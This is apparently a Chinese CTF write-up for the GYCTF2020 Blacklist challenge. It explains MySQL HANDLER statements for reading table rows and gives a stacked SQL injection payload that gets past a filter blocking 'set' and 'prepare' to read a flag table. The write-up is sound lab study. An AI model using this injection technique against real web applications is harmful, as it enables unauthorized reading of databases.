从[GYCTF2020]Blacklist] 学习到的 handler 语句

0x00 学到的知识点

mysql查询语句除了select之外,还可以使用handler来一行一行查看表中数据.

参考文章:https://blog.csdn.net/JesseYoung/article/details/40785137

基本使用方法:

  handler [table_name] open; #获取一个table_name的句柄

  handler [table_name] read first; #查看句柄第一行

  handler [table_name] read next; #查看下一行

  handler [table_name] close;


也可以通过索引查看表中信息(FIRST,NEXT,PREV,LAST):

  creat index [index_name] on [table_name](cloumn_name); #其中cloumn_name为要创建索引的列名

  handler [table_name] open;

  handler [table_name] read [index_name] first; #first获取第一行,next获取第二行,prev获取前一行,last获取最后一行

  handler [table_name] close;


  creat index [index_name] on [table_name](cloumn_name);

  handler [table_name] read [index_name] = (2); #从索引值为2的地方查看数据

  handler [table_name] close;


0x01 [GYCTF2020]Blacklist

这道题目和[强网杯2018 随便住]很类似,不同的是,这道题把预定义处理语句中的'set','prepare'全部给过滤掉了,正确的解题姿势就是上面所说的hander语句.

首先就是常规的堆叠注入,看表名字段名,最后一步的时候用到了hander语句(由于注入流程和[随便注]很类似,这篇文章就不上图了).

payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close; #

即可成功读取flag.

posted @ 2020-05-13 16:06  泠涯  阅读(336)  评论(0编辑  收藏  举报